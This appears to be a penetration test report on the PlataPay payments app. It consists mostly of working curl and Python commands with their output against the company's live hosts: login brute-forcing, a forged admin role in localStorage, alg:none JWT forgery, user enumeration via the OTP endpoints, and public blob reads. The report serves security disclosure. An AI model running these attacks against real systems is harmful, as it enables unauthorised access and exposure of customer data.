Penetration Test
Report — PlataPay

# Send 100 consecutive failed login attempts to auth endpoint
for i in $(seq 1 100); do
  curl -sk -X POST https://app-api.platapay.ph/api/auth/login \
    -H 'Content-Type: application/json' \
    -d '{"username":"admin","password":"wrong"}'
done

# EXPECTED if rate limiting exists: HTTP 429 after ~5 attempts
# ACTUAL RESULT: All 100 requests returned HTTP 400 -- NO 429 EVER

Request  1: 400
Request 20: 400
Request 40: 400
Request 60: 400
Request 80: 400
Request 100: 400

>>> 100 requests sent. Status codes: {400}. 429 present: False <<<
>>> RATE LIMITING COMPLETELYLY ABSENT <<<

# Download the core JS chunk containing environment config
curl -sk -o chunk-2DPXXUV2.js https://app.platapay.ph/chunk-2DPXXUV2.js

# Search for environment configuration
grep -o 'production[^,}]*' chunk-2DPXXUV2.js

# ACTUAL OUTPUT extracted from the JS bundle:
var bn={production:!1,apiUrl:"https://app-api.platapay.ph/api"}

# production:!1 means production:false (Angular dev mode)
# In production builds this would be production:!0 (true)

# Extracted from chunk-2DPXXUV2.js:

# Role check (client-side only):
role_name)!=="Admin"

# Role-based API routing (client-side switch):
let r = t.role.toLowerCase();
let o = "";
switch(r) {
  case "admin": o = `/users/admins/${t.user_id}`; break;
  case "agent": o = `/users/agents/${t.user_id}`; break;
  case "cashier": o = `/users/cashiers/${t.user_id}`; break;
  default: return;
}
this.http.get(`${bn.apiUrl}${o}`).subscribe(...)

# BYPASS: Attacker opens browser console and runs:
localStorage.setItem('user_data', JSON.stringify({
  user_id: 1,
  role: 'admin',
  role_name: 'Admin'
}));
# All client-side guards now pass, dashboard shows admin routes

# Test public access to receipts container
curl -sk -I https://platapaybbb5.blob.core.windows.net/receipts/AAA.png

# ACTUAL RESPONSE HEADERS:
HTTP/1.1 200 OK
Content-Length: 26039
Content-Type: image/png
Content-MD5: ZQ7D8kaJyS97Cfn1Y8t2nA==
Last-Modified: Sun, 09 Mar 2025 19:10:26 GMT
ETag: 0x8DD5F3E0CC6D8FE
Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0
x-ms-blob-type: BlockBlob

# Status: 200 OK - No authentication required
# Container listing is disabled (returns 404), but individual blobs are readable
# Receipt naming convention is NOT UUID-based (AAA.png confirmed)

# Check frontend headers
curl -sk -I https://app.platapay.ph/

# ACTUAL RESPONSE HEADERS:
HTTP/1.1 200 OK
Content-Type: text/html
Access-Control-Allow-Methods: GET
Access-Control-Allow-Origin: *
Set-Cookie: ARRAffinity=...;Path=/;HttpOnly;Secure

# MISSING headers (verified absent):
# X-Frame-Options: DENY
# X-Content-Type-Options: nosniff
# Strict-Transport-Security: max-age=31536000
# Content-Security-Policy: default-src 'self'
# Referrer-Policy: strict-origin-when-cross-origin

# Check API headers
curl -sk -I https://app-api.platapay.ph/api/auth/login
# Response: HTTP/1.1 404 - Same missing headers

# Test 1: Login with non-existent username
curl -sk -X POST https://app-api.platapay.ph/api/auth/login \
  -H 'Content-Type: application/json' \
  -d '{"username":"nonexistent_user_xyz","password":"test"}'

# ACTUAL RESPONSE:
{"message":"Validation errors occur.","errors":[{"field":"username","message":"Invalid username or password."}]}

# Test 2: Generate email OTP with non-existent email
curl -sk -X POST https://app-api.platapay.ph/api/users/activate/generate-email-otp \
  -H 'Content-Type: application/json' \
  -d '{"email":"nonexistent@xyz.com"}'

# ACTUAL RESPONSE:
{"message":"Validation errors occur.","errors":[{"field":"User","message":"User not found."}]}

# Test 3: Generate mobile OTP with non-existent mobile
curl -sk -X POST https://app-api.platapay.ph/api/users/activate/generate-mobile-otp \
  -H 'Content-Type: application/json' \
  -d '{"mobile":"09999999999"}'

# ACTUAL RESPONSE:
{"message":"Validation errors occur.","errors":[{"field":"User","message":"Incorrect mobile number."}]}

# DIFFERENT ERROR MESSAGES = user existence is revealed
# If email/mobile exists, response would differ (e.g., OTP sent)

# Craft a JWT with alg:none (no signature required)
python3 -c "
import base64, json
header = base64.urlsafe_b64encode(json.dumps({'alg':'none','typ':'JWT'}).encode()).decode().rstrip('=')
payload = base64.urlsafe_b64encode(json.dumps({'user_id':1,'username':'admin','role':'Admin'}).encode()).decode().rstrip('=')
token = f'{header}.{payload}.'
print(token)
"

# Send the unsigned JWT to the API
curl -sk https://app-api.platapay.ph/api/users/dropdown \
  -H "Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyX2lkIjoxLCJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIn0." \
  -H 'Accept: application/json'

# ACTUAL RESPONSE:
# Access Denied: User not found.

# EXPECTED if JWT is properly validated:
# 401 Unauthorized or "Invalid token"

# Also tested: alg:None, NONE, nOnE, Null, undefined
# ALL returned "User not found" -- not "Invalid token"
# Also tested HS256 with empty key -- same response
# Also tested empty Bearer token -- same response

# This means the API parses the JWT claims WITHOUT verifying the signature,
# then looks up the user. If a valid user_id is discovered, auth bypass possible.

# Check response headers from API
curl -sk -I https://app-api.platapay.ph/api/auth/login

# ACTUAL RESPONSE HEADER:
Request-Context: appId=cid-v1:8e8f4ed6-699d-4e71-af10-fb3a355bb8cb

# This header is present on ALL API responses
# It reveals the Azure Application Insights instrumentation key